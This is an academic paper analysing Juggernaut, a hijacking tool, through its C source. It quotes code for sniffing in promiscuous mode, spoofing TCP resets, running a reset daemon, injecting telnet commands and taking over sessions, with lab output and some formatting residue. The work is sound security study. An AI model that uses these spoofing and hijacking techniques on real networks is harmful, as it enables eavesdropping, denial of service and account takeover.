Investigating a hacker’s tool: Juggernaut

Russell K. Meyers

Charles E. Frank, PhD (Mathematics and Computer Science)
Donald H. Galli, PhD (Mathematics and Computer Science)
Northern Kentucky University
Highland Heights, KY 41099

Abstract

This paper examines Juggernaut, one of the tools used by computer hackers to hijack and reset sessions. This paper also provides an in depth look at each of the significant options available to Juggernaut users. Also, we examine the source code to determine and understand how such attacks would be carried out, not only in this program, but in many hacker programs. Finally, we show some of our results once the program was executed and tested in the lab.

Introduction

Computer networks today have become an asset to many of our businesses and schools. With them, we can communicate and exchange information more smoothly than ever before. Over the years, we have been able to make networks more user friendly and have them to feature greater accessibility to users. We have become so comfortable with networks that we want to allow the greatest functionality possible. Greater functionality, however, means that more possible outlets are available for attacks against our networks. Services such as telnet, ftp, and rlogin are all vulnerable to possible session takeovers. Hackers use widely distributed programs, which can usually be found on the Internet, to perform such attacks. One program that performs session hijacking is Juggernaut, which is used on Linux or Unix networks. It is a freely available program that can be found and downloaded at the following website: http://www.packetstormsecurity.com. Once downloaded, unzipped, and untarred, Juggernaut can be compiled and executed. A good publication that explains the functionality of Juggernaut from the user’s perspective is Hackers Beware, written by Eric Cole. While running the program is interesting in itself, looking a little more deeply into the code is fascinating. In this paper, I examine the Juggernaut code to see exactly how it performs.

Getting Started

There are six files of source code that are compiled in the Juggernaut program: main.c, mem.c, net.c, menu.c, prometheus.c, and surplus.c. The main functionality occurs in main.c, so that is where we will begin. As is typical in any C program, the main() function is where the controlling logic is located. First, the program makes sure that the user has root privileges. Either the user ID or effective user ID must be zero. If the user is running Linux or Unix on his own machine, then he can run as root.

/* r00t? */
if(geteuid() || getuid())
{
 fprintf(stderr,"UID or EUID of 0 needed...
\n");
 exit(0);
}

After parsing and dealing with the command line arguments, the initial screen is displayed. Before anything else can be done, however, TCP connections need to be found which can reset, hijacked, or spied on.

Juggernaut creates two sockets. The first is a raw socket to perform the packet assembly.

/* Setup RIP socket */
The second socket is used to sniff the network. With a call to tap(), the program creates a socket for the selected network interface card, and then puts it into promiscuous mode.

```c
/* Setup link socket */
linksock=tap(DEVICE);

Usually the network interface card ignores all packets not addressed to it. In promiscuous mode, the device will be able to sniff all packets on the network.

```
Notice that in order to put the card into promiscuous mode, the flags must be set in the interface request structure and call to the I/O control function, ioctl().

At this point, Juggernaut makes a call to fork() to create a child process.

hpid=fork()

Because there are now two processes running, and both are accessing the connection database, Juggernaut allocates a shared memory segment, and also a semaphore to make sure that both processes do not try to access the database at the same time.

The parent process now continues and enters into an infinite loop to process menu choices. Meanwhile, the child process calls chunt() and also enters an infinite loop. However, the child has just one task: to add and delete network connections from the connection list. If the child process sniffs a TCP packet where the SYN flag is on and the ACK flag is off, then a new connection request has been found.

if(iphp->protocol == IPPROTO_TCP && (tcphp->syn && !tcphp->ack))
    add(iphp,tcphp,ethhp);

The child process adds this connection to the list of connections with the following code:

/*
 * Add a connection to our list.  Linear search of the WHOLE list to
 * see if it's already there (which IT SHOULDN'T BE...), if not, add
 * it in the first open slot.
 */

...

{
    /*
     * iphp is a pointer to the packet’s IP header
     * tcphp is a pointer to the packet’s TCP header
     * cinfo is an array that contains the connections in the
     * database
     */
    int i=0;

    /* Lock shared memory segment - the connection list is
     * is shared by the parent and child process.  */
    locks();

    for(;i<MAXNODES;i++)
        if(iphp->saddr == cinfo[i].saddr &&
            iphp->daddr == cinfo[i].daddr &&
            tcphp->source == cinfo[i].sport &&
            tcphp->dest == cinfo[i].dport)
        {
            ulocks();
            return(0);   /* Found a duplicate */
        }
/ * Find available slot */
for(i=0;i<MAXNODES;i++)
{
    if(cinfo[i].saddr)
        continue;
else
{
    cinfo[i].saddr=iphp->saddr;
    cinfo[i].daddr=iphp->daddr;
    cinfo[i].sport=tcphp->source;
    cinfo[i].dport=tcphp->dest;
    ulocks();
    return(ADDMSG);
}
}/* Control falls here if array is full, which is indicative of a
busy network! */
ulocks();
return(0);

If the child process sniffs TCP packets that have either the RST or FIN flags on, then those packets would finish
a connection.

if(iphp->protocol == IPPROTO_TCP && (tcphp->rst || tcphp->fin))
del(iphp,tcphp);

The connection is removed from the list with the following code:

/*
 * Remove a connection from our list. Linear search until we find a
 * correspoding entry, or we hit the end of the list.
 */
.
.
{
    /* The parameters iphp, tcphp, and cinfo are the same as above */
    int i=0;
    /* Lock shared memory segment */
    locks();
    for(;i<MAXNODES;i++)
    {
        if(iphp->saddr == cinfo[i].saddr &&
            iphp->daddr == cinfo[i].daddr&&
            tcphp->source == cinfo[i].sport &&
            tcphp->dest == cinfo[i].dport)
        {
            bzero(&cinfo[i],sizeof(cinfo[i]));
            ulocks();
            return(DELMMSG); /* Inform caller of success */
        }
        ulocks();
        return(0);
    }
Meanwhile, the parent process runs in its infinite loop. Here, the main menu is displayed:

```
Juggernaut
+------------------------------------------------------------------------+
  1) Connection Database
  2) Spy on a connection
  3) Reset a connection
  4) Automated connection reset daemon
  5) Simplex connection hijack
  6) Interactive connection hijack
```

### Connection Database

Next, I will discuss some of these menu options. The first option is number ‘1’. Here, the program dumps the contents of the connection list to the screen. This is useful in checking to see if the program is sniffing correctly and if it is adding connections to the database. Here is an example of what one might see when selecting this option:

```
Current Connection Database:
------------------------------------------------------------------------------------
ref#source target
(1)206.100.100.50 [1046] ➔ 206.100.100.51 [23]
(2)206.100.100.52 [1100] ➔ 206.100.100.50 [21]
------------------------------------------------------------------------------------
```

An address, such as 206.100.100.51, is the IP address. The numbers listed in brackets are the port numbers. For example, port 23 is the telnet server, and port 21 is the ftp server.

### Spying on a Connection

If the child process finds and adds TCP connections to the database, then several things can be done to them from passively spying on the connection to actively hijacking the connection. The first of these actions is option ‘2’, and it is the least active operation on a connection: spying on a connection. Spying will allow the user to view the data that is transferred across the connection. The connection is not hijacked or tampered with in any manner. A hacker might just want to spy on a connection if he is looking for privileged data and is not interested in causing disruption. Juggernaut does this by calling the spy() function located in main.c. The user is prompted to choose from the connections listed in the connection database. Once the choice is made, the user is asked if he wants to log the results to a file. He might want to do this so that if sensitive data is what the attacker is after, he will have a record to refer to later. Any traffic that is found to match the connection on which he is spying is displayed on the screen and written to the specified file.

```
if(recv(tlinksock,&epack,sizeof(epack),0))
  if(iphp->protocol == IPPROTO_TCP)
    if(iphp->saddr == target->daddr &&
        tcphp->source == target->dport)
      dumpp(epack.payload-2,htons(iphp->tot_len)
             - sizeof(epack.ip)
             - sizeof(epack.tcp),fp);
```

One interesting idea here is that while Juggernaut spies, it sniffs only packets coming from the server-side of the connection. This is most likely due to the fact that the information the attacker is interested in viewing is the data
being requested by the client. The actual requests are usually irrelevant to the hacker. Spying will continue until CTRL-C is entered.

A telnet session we tried looked something like this:

```
Current Connection Database:
--------------------------------------------------------------------
ref #source          target
--------------------------------------------------------------------
(1)   206.100.100.52 [1051]  →  206.100.100.51 [23]
--------------------------------------------------------------------

Choose a connection [q] >1

Do you wish to log to a file as well? [y/N] >n
Spying on connection, hit 'ctrl-c' when done.
Spying on connection:206.100.100.52 [1051]  →  206.100.100.51 [23]
[tester@net_100_51 tester]$ cd temp
[tester@net_100_51 temp]$ ls
```

**Reset a Connection**

The third option, "reset a connection," is where the attacker can begin to become actively involved in disrupting the connections. A hacker might do this just to be mischievous, or also to cause a denial of service. To reset just one connection, it must be listed in the connection database. In order to do this, Juggernaut utilizes the raw socket created earlier to customize the packets. The `tpack` structure is utilized here. It includes both the IP header and TCP header:

```
struct tpack
{
  struct iphdr ip;
  struct tcphdr tcp;
}tpack;
```

The following fields can be completed.

```
tpack.tcp.source = target->dport; /* the source port of the constructed packet (the server)*/
tpack.tcp.dest = target->sport; /* the destination port of the constructed packet (the client)*/
tpack.tcp.doff = 5; /* TCP data offset */
tpack.tcp.ack = 1; /* ACK flag on */
tpack.tcp.rst = 1; /* RST flag on */
tpack.ip.version = 4; /* IP version number */
tpack.ip.ihl = 5; /* IP header length */
tpack.ip.tot_len = htons(IPHDR+TCPHDR); /* total header length */
tpack.ip.ttl = 64; /* number of hops to live */
tpack.ip.protocol = IPPROTO_TCP; /* using TCP protocol */
tpack.ip.saddr = target->daddr; /* source address (server)*/
tpack.ip.daddr = target->saddr; /* destination address (client)*/
```

Notice the masquerade as the server, in this case, because the server would automatically send a packet if a connection could not be made. An alarm is set. If after ten seconds there is no activity on the connection, it exits to the
main menu. Otherwise, it continues into a loop to receive packets.

while(1)
    if(recv(tlinksock,&epack,sizeof(epack),0))
    {
        /*
        Network Interface Card is in promiscuous mode
        Receive a packet. If it:
        a) is a TCP packet,
        b) has same source address as our victim,
        then we create a packet with RST and ACK flags and
        send it to the victim to break the connection
        */
        if(iphp->protocol == IPPROTO_TCP &&
            iphp->saddr == target->saddr &&
            tcphp->source == target->sport)
        {
            bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
            tpack.tcp.check = in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);
            /* Reset packet is sent here */
            sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
        }
        alarm(0);
        fprintf(stderr,"Connection torn down.\n");
        close(tlinksock);
        break;
    }
Notice that ACK and RST flags had to be set in order to be able to reset the connection. Also, the
sendto() call includes the raw socket. There is no need to initialize this socket to anything else because all of the
information needed to send these packets is already included in the header. Once the break statement is reached,
the connection should be shut down, and therefore, removed from the database.

Here is some of the output observed:
Current Connection Database:
---------------------------------------------------------------------
ref #source target
(1)206.100.100.52 [1051] ➔ 206.100.100.51 [23]
---------------------------------------------------------------------
Choose a connection [q] >1
Resetting connection:206.100.100.52 [1051] ➔ 206.100.100.51 [23]
Connection torn down.

Connection Reset Daemon
Option ‘4’, “Automated connection reset daemon,” is a more “determined” option for attackers because it will
run in the background, and will continue to run until stopped by the attacker. The reasons for using this are virtually
the same as in option ‘3’, but the results are more severe. With this choice, the user gives the IP address of a com-
puter, rather than choosing a connection from the database. All connection requests from this computer to any destination are reset by Juggernaut. Also, the user can choose a specific destination IP address to automatically reset all connection requests from the source to the chosen destination only. Since this daemon runs in the background, another call to \texttt{fork()} is necessary. The child process proceeds below, while the parent process returns to the main menu.

The packet structure here, and in the simple reset option, are practically alike. However, the loop used here is infinite, as shown below:

\begin{verbatim}
while(1)
{
  if(recv(tlinksock,&epack,sizeof(epack),0)) /*
    It looks for packets as the previous option, along with
    the SYN flag being set, meaning a new connection request */
  if(iphp->protocol == IPPROTO_TCP &&
     tcphp->syn && iphp->saddr == source)
    {
      /* we are spoofing the server */
      tpack.tcp.source=tcphp->dest;
      tpack.tcp.dest=tcphp->source;
      tpack.tcp.check = in_cksum((unsigned short *)tempBuf,PHDR + TCPHDR);
      sendto(ripsock,&tpack,IPHDR + TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
    }
  }
}
\end{verbatim}

Notice that the call to \texttt{sendto()} is the same as before, but no \texttt{break} statement follows, ensuring a continuous loop. Once initiated, this daemon will make it virtually impossible for the target to make any connections. This is what was observed:

Enter source IP  [q]  >206.100.100.52
Enter target IP (optional)  [q]  >
Resetting all connection requests from:206.100.100.52 [cr]

**Simple Connection Hijack**

Option ‘5’, “Simplex connection hijack,” is the beginning of the main functionality of Juggernaut. With this option, one can insert a command of any kind into the connection stream. However, this is not a complete session takeover. This is important to a hacker because it makes it more difficult for the victim to notice what is happening. Some possible reasons for using this option include: creating user accounts, copying files; removing files, changing passwords, or anything else that can be done with a single console command, such as cp, mkdir, passwd, rm, etc. A connection from our database must be chosen, but it must be a telnet (port 23) connection in order to be a valid choice.

\begin{verbatim}
if(ntohs(target->dport)!=23)
{

\end{verbatim}
fprintf(stderr,"Hijacking only valid with telnet connections.\n");
fprintf(stderr,\"[cr]\")
getchar();
return;
}

Once the desired command is entered and executed, Juggernaut spies on the selected connection until the user enters CTRL-C. Then, the command is entered into the target connection. Once again, in order to accomplish this, Juggernaut sets up and initializes a `tpack` structure in a very similar manner as before. The command entered to be executed is stored in a string called `commandbuf`, and it is then copied into the payload portion of the TCP segment.

```c
len = strlen(commandbuf) + 1;
bcopy(commandbuf,tpack.payload,len--);
```

Another loop follows, following the same general patterns as previous options, except that here the client’s end of the connection must be spoofed since this is an attempt to masquerade as the victim.

```c
/* spoofing the client */
tpack.tcp.source = target->sport;
tpack.tcp.dest = target->dport;

tpack.ip.saddr = target->saddr;
tpack.ip.daddr = target->daddr;

while(1)
if(recv(tlinksock,&epack,sizeof(epack),0))
   if(iphp->protocol == IPPROTO_TCP &&
      iphp->saddr == target->daddr &&
      tcphp->source == target->dport)
   {
      tpack.tcp.seq = tcphp->ack_seq;
      tpack.tcp.ack_seq = htonl(ntohl(tcphp->seq) + 1);
      tpack.tcp.check = in_cksum((unsigned short *)tempBuf,PHDR + TCPHDR + len);
      sendto(ripsock,&tpack,IPHDR + TCPHDR + len,0,(struct sockaddr *)&sin,sizeof(sin));
      fprintf(stderr,"Command inserted, connection desynched.\n");
      crst(target); /* reset connection so not to let victim notice the insertion */
      close(tlinksock);
      break;
   }
```

Once a packet is received over the chosen connection, the sequence number is incremented, hoping that another packet has not already been sent, so that the sequence number is actually correct. Notice the call to `sendto()` is the same as before, only this time the length of the packet that we are sending includes `len` to accommodate the length of...
the command we entered. Finally, the connection is reset in the same manner as we have done before by a call to `crst()`. This is what showed when we ran this option:

```
Current Connection Database:
---------------------------------------------------------------------
ref #source    target
(1)206.100.100.52 [1051]  \rightarrow 206.100.100.51 [23]
---------------------------------------------------------------------

Choose a connection [q] >1
Enter the command string you wish executed [q] >mkdir newuser

Spying on connection, hit 'ctrl-c' when you want to hijack.

NOTE: This may cause an ACK storm until client is RST.
Spying on connection:206.100.100.52 [1051]  \rightarrow 206.100.100.51 [23]
```

**Complete Connection Hijack**

To begin, the complete hijack and simple hijack are exactly the same. A telnet connection from the connection database is still required. A packet is created with the same attributes and with a command to be inserted. There are two loops in the `chijack()` function that perform the majority of the work. The first loop is similar to all of the others we have seen in that it is meant to insert just one packet and desynchronize the connection. Option '6', "interactive connection hijack," is the most powerful feature of Juggernaut. This option allows the attacker to completely take over the session, while knocking the victim offline as if there were excessive network activity. The reasons to use this include: being able to access all the data to which the victim has access, gaining complete account control, and impersonating the user.

```
/* Here we setup the initial hijack state.
   * We need to desynch the connection, and the next
   * packet that comes by will be the catalyst.
   */

while(1)
if(receive(tlinksock,&epack,sizeof(epack),0))
   if(ip->protocol == IPPROTO_TCP &&
      ip->saddr == target->daddr &&
      tcp->source == target->dport)
      {
         tpack.tcp.seq = tcp->ack_seq;
         tpack.tcp.ack_seq = htonl(ntohl(tcp->seq) + 1);
         tpack.tcp.check = in_cksum((unsigned short *)tempBuf,PHDR + TCPHDR + len);
         sendto(ripsock,&tpack,IPHDR + TCPHDR + len,0,(struct sockaddr *)&sin,sizeof(sin));
         break;
      }
```

The hijack occurs here because Juggernaut continues to receive packets, and the victim has been completely removed from the connection. The second loop continues to receive the packets and responds to them as if the hacker was the legitimate user by spoofing the source address of the victim.
Spoof the ports and IP addresses to make the attacker appear as the victim (the client)

```c
/*
Spoof the ports and IP addresses to make the attacker appear as the
victim (the client)
*/
tpack.tcp.source = target->sport;
tpack.tcp.dest = target->dport;
tpack.ip.saddr = target->saddr;
tpack.ip.daddr = target->daddr;
```

```c
/* Main hijack loop */
while(sigsentry) /* while CTRL-C is not entered */
{
    if(recv(tlinksock,&epack,sizeof(epack),0))
        if(iphp->protocol == IPPROTO_TCP &&
            iphp->saddr == target->daddr &&
            tcphp->source == target->dport)
        {
            /* Dump the packet payload to the screen */
            dumpp(epack.payload,htons(iphp->tot_len) -
                  sizeof(epack.ip) - sizeof(epack.tcp),0);

            /* Clear the buffer and read in the attacker’s input */
            bzero(&buf,sizeof(buf));
            fgets(buf,sizeof(buf),stdin);

            /* If no input data, leave the loop */
            if(!buf[1])
                continue;

            /* Assemble the remaining packet fields */
            len = strlen(buf) + 1;
            bcopy(buf,tpack.payload,len--);
            tpack.ip.tot_len = htons(IPHDR + TCPHDR + len);
            tpack.tcp.seq = tcphp->ack_seq;
            tpack.tcp.ack_seq = htonl(ntohl(tcphp->seq) + 1);
            tpack.tcp.check = in_cksum((unsigned short *)tempBuf,PHDR + TCPHDR + len);

            /*Send the packet as if the attacker was the victim*/
            sendto(ripsock,&tpack,IPHDR + TCPHDR + len,0,(struct
                        sockaddr *)&sin,sizeof(sin));
        }
}
```

The following observations were made:

Current Connection Database:
```
ref #source target
(1)206.100.100.52 [1051]  206.100.100.51 [23]
```
Conclusion

In conclusion, Juggernaut is a very powerful program that provides the hacker with many options. It makes it possible for hackers to spy, reset, or completely take over an active TCP session in hopes of obtaining confidential data from a company, deny services of the network, or just to disrupt daily operations. Key hacker code issues can be learned by looking at Juggernaut, such as how to use raw sockets, and how to put a network interface card into promiscuous mode. However, the complexity of the code makes us realize that not all hackers are ignorant. Some know just how the underlying functionality of TCP/IP can be utilized to break into a network by using techniques such as flooding, password cracking, spoofing, packet sniffing, Trojans, and even viruses. Also, some are clever programmers. By providing a good user interface, hackers with less knowledge of networking can use programs such as this. This serves as a reminder that extreme care must be implemented with security policies and procedures for our networks.

Acknowledgements

I would like to acknowledge the William H. Greaves family for providing the funds that made this project possible. I greatly appreciate the tremendous opportunity. I would also like to thank Dr. Charles Frank and Dr. Donald Galli for their support and guidance.

References